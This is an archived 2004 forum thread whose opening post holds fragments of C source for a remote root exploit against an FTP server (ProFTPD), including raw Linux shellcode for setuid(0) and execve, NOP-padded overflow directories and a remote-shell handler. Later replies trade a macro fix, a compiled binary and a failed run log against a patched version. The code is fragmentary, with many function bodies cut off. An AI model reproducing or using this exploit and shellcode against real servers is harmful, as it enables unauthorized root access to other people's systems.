#define NOP 0x41 /* inc %ecx, works just like a nop, easier to read */
extern int errno;
int debug_read; int debug_write;
/* * Non-ripped 45 byte linux shellcode which does setuid(0) and execve() * and does not contain any '/' characters. */ char lincode[] = "\x29\xc0\x50\xb0\x17\x50\xcd\x80" "\x29\xc0\x50\xbf\x66\x69\x73\x68" "\x29\xf6\x66\xbe\x49\x46\x31\xfe" "\x56\xbe\x49\x0b\x1a\x06\x31\xfe" "\x56\x89\xe3\x50\x54\x50\x54\x53" "\xb0\x3b\x50\xcd\x80";
/* * translates a host from its string representation (either in numbers * and dots notation or hostname format) into its binary ip address * and stores it in the in_addr struct passed in. * * return values: 0 on success, != 0 on failure. */ int get_ip(struct in_addr *iaddr, char *host) { struct hostent *hp;
/* first check to see if its in num-dot format */ if(inet_aton(host, iaddr) != 0) return 0;
/* * initiates a tcp connection to the specified host (either in * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com) * to the host's tcp port. * * return values: != -1 on success, -1 on failure. */ int tcp_connect(char *host, unsigned int port) { int sock; struct sockaddr_in saddress; struct in_addr *iaddr;
iaddr = Malloc(sizeof(struct in_addr));
/* write the hostname information into the in_addr structure */ if(get_ip(iaddr, host) != 0) return -1;
/* * FTP LOGIN function. Issues a "USER <username> and then "PASS <password>" * to login to the remote host and checks that command succeeded. */ int ftp_login(int sock, char *username, char *password) { char recvbuf[256]; char *sendbuf; int r;
/* get the header */ read_sock(sock, recvbuf, 255);
/* * FTP GET HOME DIR function. Issues a "CWD ~" and "PWD" to * force the ftp daemon to print our our current directory. */ char *ftp_gethomedir(int sock) { char recvbuf[256]; char *homedir = NULL; int r;
/* * FTP MKDIR function. Issues an "MKD <dirname>" to create a directory on * the remote host and checks that the command succeeded. */ int ftp_mkdir(int sock, char *dirname) { char recvbuf[512]; char *sendbuf; int r;
/* * FTP CWD function. Issues a "CWD <dirname>" to change directory on * the remote host and checks that the command succeeded. */ int ftp_chdir(int sock, char *dirname) { char recvbuf[512]; char *sendbuf; int r;
/* * switches between the user and the remote shell (if everything went well). */ void possible_shell(int sock) { char banner[] = "cd /; echo; uname -a; echo; id; echo; echo Welcome to the shell, " "enter commands at will; echo;\n\n";
/* * generates a string of 6 random characters. * this is too allow for multiple successful runs, best way to do * this is to actually remove the created directories. */ char *random_string(void) { int i; char *s = Malloc(7);
/* * Exploitation routine. * Makes 4 large directories and then cwd's to them. */ int ftp_glob_exploit(int sock, char *homedir, unsigned long addy, char *shellcode) { char dir[300]; int i, j; int total = strlen(homedir) + 1; int align2; char *rstring = random_string();
/* go to the writeable directory */ if(!ftp_chdir(sock, homedir)) { fprintf(stderr, "[-] Failed to change directory, aborting!\n"); return 0; }
for(i = 0; i < 4; i++) { memset(dir, 0x0, 299);
switch(i) { case 0: /* first dir == shellcode */ memcpy(dir, rstring, strlen(rstring)); memset(dir + strlen(rstring), NOP, 255 - strlen(rstring)); strcpy(&dir[(255 - strlen(shellcode))], shellcode); break;
case 3: /* address buffer */ /* calculate the alignment */ align2 = total % sizeof(long); align2 = sizeof(long) - align2;
printf("[3] Calculated alignment = %d, total = %d\n", align2, total);
/* hey, so im anal! */ memset(password, 0x0, strlen(password)); free(username); free(password);
printf("[1] Login succeeded.\n");
if(sleep != 0) sleep(sleep_time);
if(homedir == NULL) { /* get home directory */ if((homedir = ftp_gethomedir(sock)) == NULL) { fprintf(stderr, "[-] Couldn't retrieve home directory, aborting!\n"); ftp_quit(sock); return EXIT_FAILURE; } }
printf("[2] Home directory retrieved as \"%s\", %u bytes.\n", homedir, strlen(homedir));
/* do the exploitation */ if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode)) { fprintf(stderr, "[-] exploit failed, aborting!\n"); ftp_quit(sock); return EXIT_FAILURE; }
ftp_quit(sock);
free(host); return EXIT_SUCCESS; }
z3r0
Jul 17 2004, 09:06 PM
wtf so its looks like this
#define MAXX(a, ((a) < ( ? ( : (a))
z3r0
Jul 17 2004, 09:10 PM
#define MAXX(a,b) ((a) < (b) ? (b) : (a))
grrr
BlaStA
Jul 17 2004, 09:23 PM
Compiled with cygwin. Didn't test it.
z3r0
Jul 17 2004, 11:21 PM
thank you a lot BlatSa!respect!
Comedy
Jul 18 2004, 07:19 AM
thanks for compiling, didn't work though so i recompiled myself.
Oops, it did work. it was my compile that doesnt
twistedps
Jul 18 2004, 07:26 AM
CODE
[0] Connected to host localhost As type Linux/x86 ProFTPD. [1] Login succeeded. [2] Home directory retrieved as "/home/joshg", 11 bytes. [-] Failed to change directory, aborting! [-] exploit failed, aborting!
1.2.9 on fedora core 2 seems to be patched.
aapje
Jul 18 2004, 03:20 PM
that is because its an old exploit
t0bban
Jul 18 2004, 11:05 PM
QUOTE (Comedy @ Jul 18 2004, 07:19 AM)
thanks for compiling, didn't work though so i recompiled myself.
Oops, it did work. it was my compile that doesnt
lol Getting late is it? :-)
Keep up the good work guys.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.